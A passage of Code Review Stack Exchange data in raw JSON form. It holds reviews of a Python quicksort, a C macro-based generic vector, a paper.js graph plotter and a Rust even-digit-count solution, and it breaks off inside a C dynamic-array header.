"2021-04-01T03:47:45.683", "Id": "510587", "Score": "0", "body": "Yes, I know python is an interpretative language, while python’s sorted() is in C and it starts with a magnitude of speed of advantage. Also, I try my best to choose good pivots so that it is virtually impossible to approach O(N^2)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-01T10:22:46.283", "Id": "510623", "Score": "0", "body": "For a pretty recent & thorough discussion, see *Edelkamp, Stefan; Weiß, Armin; Wild, Sebastian*: \"QuickXsort – A Fast Sorting Scheme in Theory and Practice\"" } ]
[ { "body": "<p>(This begins with opinions about the way the <em>partition&amp;network sort</em> presented by <a href=\"https://codereview.stackexchange.com/users/239448/sola-sky\">Sola Sky</a> is coded.<br />\nI intend to get to comments on resource requirements - don't hold your breath.)</p>\n<p>In your question, you provide context: the <em>what &amp; why</em>.<br />\nDo so <em>in the code</em>! Python has got it right providing <a href=\"https://www.python.org/dev/peps/pep-0257/#what-is-a-docstring\" rel=\"nofollow noreferrer\">docstrings</a>, a documentation mechanism succeeding in making it unlikely for code to be separated from its documentation. (It even is available for <em>introspection</em>.) You may find yourself wanting to rename <code>sorting_network()</code> after writing its docstring.<br />\nDocstrings feature in the <a href=\"https://www.python.org/dev/peps/pep-0008/#introduction\" rel=\"nofollow noreferrer\">Style Guide for Python Code</a>, which you seem aware of.<br />\nIt contains good advice such as <em>comments are unnecessary and in fact distracting if they state the obvious</em> -<br />\n<code>#importing</code> is a non-comment.<br />\n<code>math</code> currently is not used.<br />\n(<code>random</code> and <code>time</code> are &quot;just&quot; used in the benchmark - more on this later.)</p>\n<p><code>sorting_network(lst)</code>:<br />\nI notice you do not use <a href=\"https://www.python.org/dev/peps/pep-0484/#abstract\" rel=\"nofollow noreferrer\">Type Hints</a>.<br />\nIn the &quot;decision tree&quot;, there is no need for an <code>else</code> following a <code>return</code>. One advantage of doing without is less code indentation.<br />\nI'd have liked to read, in the code, about the type of comparison network your generator constructs - I didn't try to figure it out, no comment on using networks of optimal depth or comparators(/comparisons?) here. My IDE &quot;counts&quot; 60 for len 16 - best known I find.</p>\n<p>(<code>and this is the quicksort algorithm!</code> To split a hair, I expect <em>quicksort</em> to sort <em>in-place</em> (and, hopefully, with additional space dominated by the size of input). I'd use <em>partition sort</em>.)<br />\n<code>swiftsort(lst):</code><br />\n<code>return</code>-<code>else</code>, again<br />\n&quot;Habitually&quot;, quicksort is coded with <em>pivot selection</em> and <em>partition</em> factored out.<br />\nThe &quot;between-comparisons&quot; are very readable -<br />\n<code>split = b if a &lt;= b == b &lt;= c else c if b &lt;= c == c &lt;= a else a</code> repeats one comparison instead of potentially four.<br />\nPrefer a <code>for</code> in comprehensions over enumerating the elements or appending them in a loop:<br />\n<code>[lst[l_ * i // 8] for i in range(9) for l_ in (l - 1,)]</code><br />\n(The second <code>for</code> just introduces <code>l_</code> (=<code>l</code>-1) &quot;in-line&quot;)<br />\n&quot;The 8192-limit&quot; looks somewhat arbitrary - how about using one item less than the number of bits in <code>l</code>s representation?</p>\n<pre><code> samples = (int.bit_length(l) // 2) * 2 - 1\n samples = [lst[(l - 1) * i // (samples - 1)] for i in range(samples)]\n pivot = sorted(samples)[len(samples)//2]\n</code></pre>\n<p>(I could write <code>(int.bit_length(l)&amp;~1)</code> - can I read it? You? The maintenance programmer?) (For no more than 16 items, <code>swiftsort()</code>/<code>sorting_network()</code> look advantageous. Not so sure immediately above.)<br />\n(Oh, look, you could do away with &quot;the 128 comparison&quot;, too.)</p>\n<p>While <code>lst</code> is a so-so name to begin with, <code>lst1</code>/<code>lst2</code> just don't do: I'd prefer <code>before</code>&amp;<code>after</code> over <code>preceding</code>&amp;<code>following</code> for brevity, and over <code>smaller</code>/<code>bigger</code> for not interpreting the order (which you may want redefinable via mechanisms like an optional comparator or a <code>reverse</code> flag like <a href=\"https://docs.python.org/3/library/functions.html#sorted\" rel=\"nofollow noreferrer\"><code>sorted()</code></a>).<br />\nIn languages providing a shorter syntax for this, I might prefer the equivalent of<br />\n<code>(before if x &lt; split else mid if x == split else after).append(x)</code> to stress the difference is in picking the sequence, not in the operation on it or the parameter.<br />\nIn a &quot;production strength sort&quot;, I'd try to avoid worst case resource consumption: recurse on the shorter of <code>before</code>&amp;<code>after</code>, iterate on the other. Doesn't look any simpler with three-way partition.</p>\n<p>With Python code in files, there are named <em>modules</em>: the module name is the file name &quot;without the trailing <em>.py</em>&quot;. The module a python interpreter is started to execute has the name <code>&quot;__main__&quot;</code> during execution. This allows keeping short tests or benchmarks in code intended to be used library style:</p>\n<pre><code># This is for testing the time of my algorithm.\nif __name__== '__main__':\n import random # place &quot;non-library imports&quot; here\n # some test code\n</code></pre>\n<p>Assessing resource usage to expect in general and timing, micro-benchmarking in particular are interesting cans of worms.<br />\nLet me just mention <a href=\"https://docs.python.org/3/library/timeit.html\" rel=\"nofollow noreferrer\">timeit</a> and <a href=\"https://cython.org/\" rel=\"nofollow noreferrer\">Cython</a>.<br />\nAnd that the bigger of the problem sizes you chose fits into (L3) cache of contemporary general purpose processors.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T20:56:53.320", "Id": "508702", "Score": "0", "body": "The more I think about it, the less I like `swiftsort()` to use additional lists instead of sorting in-place." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:22:16.193", "Id": "508705", "Score": "0", "body": "Ok, thanks! The reason I didn't do in place was because it was harder to code the partitions, and it was almost 2x slower. However, that might be because I'm a beginner coder. If you could help me write quicksort inplace without affecting the speed heavily, I would appreciate it a lot. Also, I'd definitely change the partitions to the bit_length suggestion you made. I'd try to make better variable names, type hints and more. Thanks a lot!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T06:40:38.307", "Id": "508719", "Score": "0", "body": "The main pretext I have for not doing so is that when you are doing three-way partition anyway, you may as well go dual pivot. (Not true by a mile ordering unique values, but then you'd know `len(mid)` at the outset of *partition*.) I'd be tempted even more if I could adapt the ordering network code generator too: that would need to generate code ordering in-place, too. Note that posting on SE puts contents under Creative Commons." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T13:24:01.887", "Id": "257523", "ParentId": "257486", "Score": "1" } } ]
{ "AcceptedAnswerId": "257523", "CommentCount": "12", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T20:05:50.977", "Id": "257486", "Score": "5", "Tags": [ "python", "algorithm", "python-3.x", "sorting", "quick-sort" ], "Title": "Quicksort Algorithm Speed" }
257486
<p>I'm quite new to C, and I decided to create a generic vector library. Here is the code:</p> <pre><code>#ifndef VECTOR_H #define VECTOR_H #define DEFAULT_CAPACITY 10 #define EXPAND_RATIO 1.5 #include &lt;stdlib.h&gt; #include &lt;string.h&gt; enum error { NO_ERROR, INDEX_ERROR, KEY_ERROR, NULL_POINTER_ERROR, MEMORY_ERROR }; #define VECTOR_NEW(vec_name, type) \ /* a resizable array */ \ struct vec_name { \ size_t length; \ size_t capacity; \ type* items; \ }; \ \ /* initializes a vector with a specific capacity */ \ enum error init_##vec_name##_c(struct vec_name* vec, size_t capacity) { \ if (!vec) \ return NULL_POINTER_ERROR; \ \ vec-&gt;length = 0; \ vec-&gt;capacity = capacity; \ vec-&gt;items = malloc(capacity * sizeof(*vec-&gt;items)); \ \ return (vec-&gt;items) ? NO_ERROR : MEMORY_ERROR; \ } \ \ /* initializes a vector with the default capacity */ \ static inline enum error init_##vec_name(struct vec_name* vec) { \ return init_##vec_name##_c(vec, DEFAULT_CAPACITY); \ } \ \ /* frees the memory allocated for the vector */ \ static inline enum error free_##vec_name(struct vec_name* vec) { \ if (!vec) \ return NULL_POINTER_ERROR; \ free(vec-&gt;items); \ vec-&gt;items = NULL; \ return NO_ERROR; \ } \ \ /* adds an item to the end of the vector */ \ enum error append_##vec_name(struct vec_name* vec, type item) { \ if (!vec) \ return NULL_POINTER_ERROR; \ if (vec-&gt;length &gt;= vec-&gt;capacity) { \ vec-&gt;capacity *= EXPAND_RATIO; \ vec-&gt;items = \ realloc(vec-&gt;items, vec-&gt;capacity * sizeof(vec-&gt;items)); \ if (!vec-&gt;items) \ return MEMORY_ERROR; \ } \ vec-&gt;items[vec-&gt;length++] = item; \ return NO_ERROR; \ } \ \ /* removes and item from the vector at a specified index (-1 as an index \ * is pop back) \ */ \ static inline enum error pop_##vec_name(struct vec_name* vec, \ size_t index, type* item) { \ if (!vec) \ return NULL_POINTER_ERROR; \ if (vec-&gt;length &lt;= index) \ return INDEX_ERROR; \ if (item) \ *item = vec-&gt;items[index]; \ const size_t block_size = (vec-&gt;length - index - 1) * sizeof(type); \ memmove(&amp;(vec-&gt;items[index]), &amp;(vec-&gt;items[index + 1]), block_size); \ --vec-&gt;length; \ return NO_ERROR; \ } \ \ /* sets an existing vector index to a specifid item */ \ static inline enum error set_##vec_name(struct vec_name* vec, \ size_t index, type item) { \ if (!vec) \ return NULL_POINTER_ERROR; \ if (vec-&gt;length &lt;= index) \ return INDEX_ERROR; \ vec-&gt;items[index] = item; \ return NO_ERROR; \ } \ \ /* applies the given function pointer to every item in the vector */ \ static inline enum error map_##vec_name(struct vec_name* vec, \ void(func)(type*)) { \ if (!vec) \ return NULL_POINTER_ERROR; \ for (size_t i = 0; i &lt; vec-&gt;length; ++i) \ func(&amp;vec-&gt;items[i]); \ return NO_ERROR; \ } \ \ /* places the item at a specifed index in the`value` parameter */ \ static inline enum error get_##vec_name(struct vec_name* vec, \ size_t index, type* value) { \ if (!vec) \ return NULL_POINTER_ERROR; \ if (vec-&gt;length &lt;= index) \ return INDEX_ERROR; \ *value = vec-&gt;items[index]; \ return NO_ERROR; \ } #endif // VECTOR_H </code></pre> <p>Here is how it is used:</p> <pre><code>#include &quot;veclib.h&quot; VECTOR_NEW(vector_int, int) int main() { struct vector_int vec; init_vector_int(&amp;vec); for (size_t i = 0; i &lt;= 10; ++i) append_vector_int(&amp;vec, i); } </code></pre> <p>I'm unsure if my code is elegant, fast, etc. Thanks!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T20:28:46.550", "Id": "508587", "Score": "0", "body": "Is `VECTOR_NEQ` a typo?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T21:52:33.703", "Id": "508590", "Score": "0", "body": "map is possibly a bad name - it's usage across other modern libraries tends to be map(from, to, convFunc)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T21:55:02.760", "Id": "508591", "Score": "1", "body": "Need to look at boundary conditions.. for instance pop seems like it might have an issue if there's only 1 element left. And minor spelling issue in `removes and item` _and_ should be _an_." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T21:58:38.473", "Id": "508592", "Score": "1", "body": "Presumably the error return code is important - so why in your example aren't you using it? (possibly that will show an issue with usage??)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T22:00:54.067", "Id": "508593", "Score": "0", "body": "VECTOR_NEW doesn't create a \"new\" vector - it just defines the type/methods - so maybe should be VECTOR_DEFINE_TYPE? Or something more like what it is. And what if init_vector_int isn't called - everything breaks (it assumes that it has been init'd properly) ... is there a way you can setup so by default if it's not init'd properly it catches that and tells the user." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T22:02:11.277", "Id": "508594", "Score": "0", "body": "After free_ the rest of the structure refers to things that are wrong (i.e. old size, etc. still there). Same issue as init_vector / but in reverse." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T22:06:46.887", "Id": "508595", "Score": "0", "body": "Have a reserve method / or similar - because user should be able to manage memory. Also `include \"veclib.h\"` so `#ifdef _VECLIB_H`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:32:19.783", "Id": "508605", "Score": "0", "body": "@vnp -- Yes, it is." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:34:20.723", "Id": "508606", "Score": "0", "body": "Do you agree with the edit?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:34:51.910", "Id": "508607", "Score": "0", "body": "@vnp -- Yep, I do" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:38:20.827", "Id": "508609", "Score": "0", "body": "@MrR -- Would an `_initialized` field for the vector be a good idea to make sure the vector is properly initialized? Or maybe a macro?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T00:13:32.800", "Id": "508614", "Score": "0", "body": "@xilpex have to allow for these issue (default initialization) https://stackoverflow.com/questions/1597405/what-happens-to-a-declared-uninitialized-variable-in-c-does-it-have-a-value. i.e. on the stack you don't know if it's initialized or not... a static you can rely on defaults to 0 - so don't need an `_initialized` because (`length == capacity == items == 0`)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T00:28:01.930", "Id": "508615", "Score": "0", "body": "@xilpex also see if there's any ideas here https://codereview.stackexchange.com/questions/101816/generic-vector-implementation-in-c-using-macros" } ]
[ { "body": "<h2>Naming</h2>\n<p>Very good comments and documentation. I had a clear picture of what you were trying to accomplish.</p>\n<p>Instead of giving your users the ability to create any <code>##vec_name</code>, I would consider, <em>eg</em> <code>vec_##name</code>, to give my vector types a naming consistency.</p>\n<p>It is possible that not all of your functions are used; this generally leads well-meaning compilers to emit a warning for <code>static</code> functions. I received this good advice, <a href=\"https://stackoverflow.com/a/43843169/2472827\">silencing unused static functions by using them</a>.</p>\n<h2>Allocation</h2>\n<p><code>append##vec_name</code> converts to <code>double</code> and back. This might work for the <code>DEFAULT_CAPACITY</code> 10, but printing off,</p>\n<pre><code>printf(&quot;append &quot; #vec_name &quot; capacity %lu -&gt; &quot;, vec-&gt;capacity); \\\nvec-&gt;capacity *= EXPAND_RATIO; \\\nprintf(&quot;%lu\\n&quot;, vec-&gt;capacity); \\\n</code></pre>\n<p>If it's 0 or 1, it gets stuck in undefined behaviour,</p>\n<pre><code>append vec_foo capacity 1 -&gt; 1\n</code></pre>\n<p>On my computer, the code works for one re-allocation, then it segmentation faults. It's easier to debug when the memory allocation is in one function instead of both <code>init_##vec_name##_c</code> and <code>append_##vec_name</code>. A feature of <code>realloc</code>,</p>\n<blockquote>\n<p>If ptr is a null pointer, realloc() shall be equivalent to malloc()\nfor the specified size.</p>\n</blockquote>\n<p>allows easily moving functions around to get one-point-of-failure, for example,</p>\n<pre><code>static enum error resize_##vec_name(struct vec_name* vec, size_t min_capacity) { \\\n size_t new_capacity; \\\n type* new_items; \\\n if (!vec) \\\n return NULL_POINTER_ERROR; \\\n for (new_capacity = vec-&gt;capacity &gt; DEFAULT_CAPACITY \\\n ? vec-&gt;capacity : DEFAULT_CAPACITY; \\\n new_capacity &lt; min_capacity; new_capacity *= EXPAND_RATIO);\\\n if (vec-&gt;capacity &gt;= new_capacity) \\\n return NO_ERROR; \\\n new_items = realloc(vec-&gt;items, new_capacity * sizeof *new_items); \\\n if (!new_items) \\\n return MEMORY_ERROR; \\\n vec-&gt;items = new_items; \\\n vec-&gt;capacity = new_capacity; \\\n return NO_ERROR; \\\n} \\\n</code></pre>\n<p>Then this simplifies <code>init_##vec_name##_c</code>,</p>\n<pre><code>vec-&gt;length = 0; \\\nvec-&gt;capacity = 0; \\\nvec-&gt;items = 0; \\\nreturn resize_##vec_name(vec, capacity); \\\n</code></pre>\n<p>and <code>append_##vec_name</code>,</p>\n<pre><code>if((e = resize_##vec_name(vec, vec-&gt;length + 1)) != NO_ERROR) \\\n return e; \\\nvec-&gt;items[vec-&gt;length++] = item; \\\n</code></pre>\n<h2>Functions</h2>\n<p>Viewed as a state machine, your programme has some invalid states. Suggest in <code>free##vec_name</code>,</p>\n<pre><code>vec-&gt;capacity = vec-&gt;length = 0; \\\n</code></pre>\n<p>In <code>pop##vec_name</code>, the documentation says that -1 is the back, which is useful, kind of like Python, but I don't it see the code.</p>\n<p>In <code>set##vec_name</code>, you use an assignment. For large types, this might mean a lot of copying. It would be faster to construct it in place; this is kind of like the difference between <code>push_back</code> and <code>emplace_back</code> in <code>C++</code>.</p>\n<p>The value of <code>vec</code> is <code>const</code> in <code>set_##vec_name</code>, <code>map_##vec_name</code>, and <code>get_##vec_name</code>. This might help the compiler to more aggressively optimise, and may be important self-documentation: it's a statement that vector's topology will not change.</p>\n<p>Typo: specified. <code>init_##vec_name##_c</code> and <code>append_##vec_name</code>, I assume you also meant to make them <code>static</code>.</p>\n<h2>Errors</h2>\n<p>Your abstraction of errors and passing them on to the user is great. <code>stdio.h</code> is not needed and not even included.</p>\n<p><code>enum error</code> has a high probability of namespace clashes with other headers. You might want to use the facilities given in <code>errno.h</code> instead of inventing your own. Instead of having to return one of several values, one returns a bit — a null value or a flag — telling your users to check <code>errno</code>. This will also simplify passing errors from the standard library because you can just pass on the error to the caller instead of making up a new error.</p>\n<p>It depends on what the use case for this is, but I would consider making programming errors <code>assert</code> instead of dynamic checks, (<em>eg</em> <code>NULL_POINTER_ERROR</code>.) I've found that this frees a lot of cases from your testing and verification.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T02:21:53.923", "Id": "508618", "Score": "1", "body": "*In `set##vec_name`, you use an assignment. This limits the vectors to assignable types. I would question the use of this function at all.* -- Could you please elaborate on this?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T02:33:25.647", "Id": "508619", "Score": "0", "body": "I edited that -- _eg_ a `struct` or `union` is not going to be assignable. A more general `memset(...sizeof item...)` like one did for the constructor is more general." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T02:42:29.263", "Id": "508620", "Score": "0", "body": "On the `restrict` keyword -- Would `static inline enum error pop_##vec_name(struct vec_name* restrict vec, size_t index, type* restrict item)` be a good idea (I haven't used `restrict` before)?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T03:03:45.683", "Id": "508622", "Score": "0", "body": "I think it might help, see [usage of restrict](https://stackoverflow.com/a/745877/2472827), but it affects pointers of compatible types." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T03:08:44.030", "Id": "508623", "Score": "0", "body": "I have seen that, but is my usage above a good idea?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T07:55:14.830", "Id": "508637", "Score": "0", "body": "I've replaced the a more general statement by more a more concrete review now that I've played with it. I don't think you have any functions where `restrict` could be beneficial, but maybe I'll save that for someone who knows more; it might be an array of arrays? `struct` is assignable, my mistake -- updated." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T01:42:56.560", "Id": "257496", "ParentId": "257487", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "13", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T20:14:41.023", "Id": "257487", "Score": "2", "Tags": [ "performance", "c", "generics", "vectors", "macros" ], "Title": "C - Generic vector library" }
257487
<p>I have begun coding a simple graph plotter for my schoolchildren using JavaScript. I have used the paper.js library as I would like to be able to export the graphs as svg files.</p> <p>I am only a beginner to all this (just a humble maths teacher) so I would hugely welcome any thoughts you may have. The code does not run particularly quickly so I would be particularly interested in any improvements to performance.</p> <p>Many thanks and best wishes.</p> <p>HTML:</p> <pre><code>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.11/paper-full.min.js&quot;&gt;&lt;/script&gt; &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/mathjs/9.3.0/math.min.js&quot;&gt;&lt;/script&gt; &lt;input type=&quot;number&quot; id=&quot;input_xWidth&quot; value=14&gt;&lt;br&gt; &lt;input type=&quot;number&quot; id=&quot;input_yWidth&quot; value=4&gt;&lt;br&gt; &lt;input type=&quot;text&quot; id=&quot;eqn&quot; value='sin(x)'&gt;&lt;br&gt; &lt;button onclick=&quot;drawGrid()&quot;&gt;draw grid&lt;/button&gt; &lt;button onclick=&quot;exportSVG()&quot;&gt;export&lt;/button&gt; &lt;br&gt;&lt;br&gt; &lt;canvas id=&quot;canvas_1&quot;&gt;&lt;/canvas&gt;&lt;br&gt; </code></pre> <p>JavaScript:</p> <pre><code>var graphScope = new paper.PaperScope(); var canvas_1 = document.getElementById('canvas_1'); graphScope.setup(canvas_1); graphScope.activate(); const scale = 10; function drawGrid() { var xWidth = document.getElementById(&quot;input_xWidth&quot;).value; var yWidth = document.getElementById(&quot;input_yWidth&quot;).value; var z; var zz; //clear the canvas graphScope.project.activeLayer.removeChildren() //draw minor gridlines for (z = 0; z &lt; xWidth; z++) { for (zz = 1; zz &lt; 5; zz++) { var myPath = new graphScope.Path(); myPath.strokeColor = new graphScope.Color(0.9, 0.9, 0.9); myPath.add(new graphScope.Point(z * scale + (scale / 5) * zz, -(0))); myPath.add(new graphScope.Point(z * scale + (scale / 5) * zz, -(yWidth * scale))); } } for (z = 0; z &lt; yWidth; z++) { for (zz = 1; zz &lt; 5; zz++) { var myPath = new graphScope.Path(); myPath.strokeColor = new graphScope.Color(0.9, 0.9, 0.9); myPath.add(new graphScope.Point(0, -(z * scale + (scale / 5) * zz))); myPath.add(new graphScope.Point(xWidth * scale, -(z * scale + (scale / 5) * zz))); } } //draw major gridlines for (z = 0; z &lt;= xWidth; z++) { var myPath = new graphScope.Path(); myPath.strokeColor = new graphScope.Color(0.5, 0.5, 0.5); myPath.add(new graphScope.Point(z * scale, -(0))); myPath.add(new graphScope.Point(z * scale, -(yWidth * scale))); } for (z = 0; z &lt;= yWidth; z++) { var myPath = new graphScope.Path(); myPath.strokeColor = new graphScope.Color(0.5, 0.5, 0.5); myPath.add(new graphScope.Point(0, -(z * scale))); myPath.add(new graphScope.Point(xWidth * scale, -(z * scale))); } // parse equation from input box const node2 = math.parse(document.getElementById(&quot;eqn&quot;).value) const code2 = node2.compile() let scope = { x: 3, } // trim graph to grid var rectangle = new graphScope.Rectangle(new graphScope.Point(0, 0), new graphScope.Point(xWidth * scale, -yWidth * scale)); var GraphBoundary = new graphScope.Path.Rectangle(rectangle); var graphPath = new graphScope.Path(); for (z = 0; z &lt; xWidth; z += 0.001) { scope.x = z graphPath.add(new graphScope.Point(z * scale, -(20 + scale * code2.evaluate(scope)))); } var NewPath = graphPath.intersect(GraphBoundary, { trace: false }) NewPath.strokeColor = new graphScope.Color(0.1, 0.1, 0.1); graphPath.remove(); //fit page to canvas bounds graphScope.project.activeLayer.fitBounds(graphScope.view.bounds); } function exportSVG() { var fileName = &quot;custom.svg&quot; var url = &quot;data:image/svg+xml;utf8,&quot; + encodeURIComponent(graphScope.project.exportSVG({ asString: true })); var link = document.createElement(&quot;a&quot;); link.download = fileName; link.href = url; link.click(); } </code></pre>
[]
[ { "body": "<p>I'm not familiar with Paper so can't say anything about that. And I won't say much about the HTML, as it's obviously just a functional placeholder, except two points:</p>\n<ul>\n<li>Use double quotes <code>&quot;</code> consistently on all attributes.</li>\n<li>Don't use <code>on...</code> attributes. Assign event listeners in the script using <code>addEventListener</code>.</li>\n</ul>\n<p>Regarding the script:</p>\n<ul>\n<li>Use <code>let</code>/<code>const</code> instead of <code>var</code>.</li>\n<li>Declare the variable in loops separately in the <code>for</code> statement using <code>let</code> (e.g. don't reuse the same declared variable in all loops).</li>\n<li>Use better variable names. I have no idea what <code>z</code>, <code>zz</code>, <code>node2</code>, <code>code2</code>, etc. mean. (Also make sure all variable names start with a lower case letter.)</li>\n<li>Don't repeatedly create the same colors in the loops. Create them once outside the loop.</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T21:48:46.080", "Id": "257641", "ParentId": "257490", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T21:55:26.723", "Id": "257490", "Score": "0", "Tags": [ "javascript", "paper.js" ], "Title": "A JavaScript graph plotter for schoolchildren using paper.js" }
257490
<p>I solved this problem: given an array/vector of numbers, return how many of them contain an even number of digits.</p> <p>Constraints:</p> <pre><code>1 &lt;= nums.length &lt;= 500 1 &lt;= nums[i] &lt;= 10^5 </code></pre> <p>Please review the code:</p> <pre><code>impl Solution { pub fn find_numbers(nums: Vec&lt;i32&gt;) -&gt; i32 { let mut count = 0; let mut len = 0; if nums.len() &lt;= 500 { for num in nums { let digit: Vec&lt;_&gt; = num .to_string() .chars() .map(|d| d.to_digit(10).unwrap()) .collect(); len = digit.len(); if num &gt; 100000 { panic!(&quot;Too much greater values are in vector&quot;); } if len % 2 == 0 { count += 1; } } } count } } </code></pre> <p>Are there better ways to apply the constraints and solve the problem?</p>
[]
[ { "body": "<p>A couple of points. Firstly about the code you have listed.</p>\n<ul>\n<li><p>Are the constraints problems to be enforced or assumptions you can make while writing your solution? It's odd to artificially limit it.</p>\n</li>\n<li><p><code>len</code> does not need to be defined outside the loop. It is overwritten on each loop so could be replaced with <code>let len = </code> inside the loop.</p>\n</li>\n<li><p>Within the <code>for</code> loop, you are counting the number of digits, then checking the size of <code>num</code> and panicking if it's too high. It's better in general to exit as soon as possible if something's wrong, so in this case check the size before the more expensive process of counting digits.</p>\n</li>\n<li><p>In your character counting you are converting to characters, then back to digits before counting. If you only care about how many of them there are, you can leave them as characters. This gives <code>num.to_string().chars().collect();</code></p>\n</li>\n<li><p>Once you have an iterator, you can use <code>count</code> instead of collecting to a vec and then finding the length. This reduces it further to <code>let len = num.to_string().chars().count()</code></p>\n</li>\n<li><p>The outer for loop can also be replaced with an iterator</p>\n<pre><code>nums.iter()\n .map(|n| n.to_string().chars().count())\n .filter(|n| n % 2 == 0)\n .count();\n</code></pre>\n<p>This then doesn't need the count variable either.</p>\n</li>\n</ul>\n<p>Secondly, you ask about other ways to solve the problem. Converting between numbers and strings is slow, and keeping things as numbers wherever possible is generally preferable. In this case, the number of digits in a number (in base 10) is <code>log10</code> of that number rounded up to the next integer. The edge cases are the powers of 10 which need to be 'rounded' to the next number.</p>\n<p>The difficulty in writing this in rust is that <code>log10</code> is only available for floating point types but as your values are bound <code>1 &lt;= n &lt;= 100_000</code>, you can assume that all values can be mapped exactly to an <code>f32</code>. Numbers being <code>&gt;1</code> means that you can safely find a log (log isn't defined for negative numbers).</p>\n<p>This lets you rewrite your method as something like</p>\n<pre><code>impl Solution {\n pub fn find_numbers(nums: Vec&lt;i32&gt;) -&gt; i32 {\n // iterate over the numbers\n nums.iter()\n // for each n, find log10(n), round down and +1\n // this is the number of digits\n .map(|n| (*n as f32).log10().floor() as i32 + 1)\n // discard numbers that don't have an even number of digits\n .filter(|n| n % 2 == 0)\n // count how many are left\n .count()\n }\n}\n</code></pre>\n<p>There is no restriction here of the size or number of numbers. If that is required, an additional check can be made before the <code>iter</code> call.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T17:48:05.313", "Id": "257582", "ParentId": "257491", "Score": "3" } }, { "body": "<p>There is no constraint; it's just a limit of each variable (inputs).</p>\n<p>That was the first thing, now we need to go to each element of this array/vector to check if its digit-length is even or odd by &lt;&lt; modular and division operator &gt;&gt;. If it has, we should increment counter; otherwise do nothing (just break).\nJust do it with each number/element in current array.</p>\n<pre><code>int num = 234, counter = 0;\nwhile(n){\n int digit = n % 10 ; \n if( digit %2 == 0 )counter++ ; \n n /= 10 ; //here is a tricky part \n } \n</code></pre>\n<p>Hope you understand. If you have any confusion, just ask me to clarify it.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T18:29:03.953", "Id": "508885", "Score": "0", "body": "Your code is counting *even digits of a number*, not *numbers which have an even number of digits*." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T16:46:58.790", "Id": "257624", "ParentId": "257491", "Score": "0" } } ]
{ "AcceptedAnswerId": "257582", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T21:59:28.163", "Id": "257491", "Score": "1", "Tags": [ "algorithm", "programming-challenge", "rust" ], "Title": "Counting numbers that have an even number of digits" }
257491
<p>Minimal vector-like dynamic arrays, <code>min_array.h</code>. This is not new at all, but since I use a lot of functions similar to this in larger projects, I was hoping for comments about the documentation, especially the names, and interface.</p> <pre><code>/** Macro for a type-specific minimal dynamic array: `MIN_ARRAY(name, type)`, where `name` is an identifier prefix that satisfies `C` naming conventions when mangled and `type` is defined tag-type associated therewith. When expanding the array, resizing may be necessary and incurs amortised cost; any pointers to this memory may become stale. */ #include &lt;stdlib.h&gt; /* size_t realloc free */ #include &lt;string.h&gt; /* memmove strcmp memcpy */ #include &lt;errno.h&gt; /* errno */ #include &lt;assert.h&gt; /* assert */ #define MIN_ARRAY_IDLE { 0, 0, 0 } #define MIN_ARRAY(name, type) \ struct name##_array { type *data; size_t size, capacity; }; \ /** Initialises `a` to idle. */ \ static void name##_array(struct name##_array *const a) \ { assert(a); a-&gt;data = 0; a-&gt;capacity = a-&gt;size = 0; } \ /** Destroys `a` and returns it to idle. */ \ static void name##_array_(struct name##_array *const a) \ { assert(a); free(a-&gt;data); name##_array(a); } \ /** Ensures `min_capacity` of `a`. @param[min_capacity] If zero, does nothing. @return Success; otherwise, `errno` will be set. @throws[ERANGE] Tried allocating more then can fit in `size_t` or `realloc` doesn't follow POSIX. @throws[realloc, ERANGE] */ \ static int name##_array_reserve(struct name##_array *const a, \ const size_t min_capacity) { \ size_t c0; \ type *data; \ const size_t max_size = (size_t)-1 / sizeof *a-&gt;data; \ assert(a); \ if(a-&gt;data) { \ if(min_capacity &lt;= a-&gt;capacity) return 1; 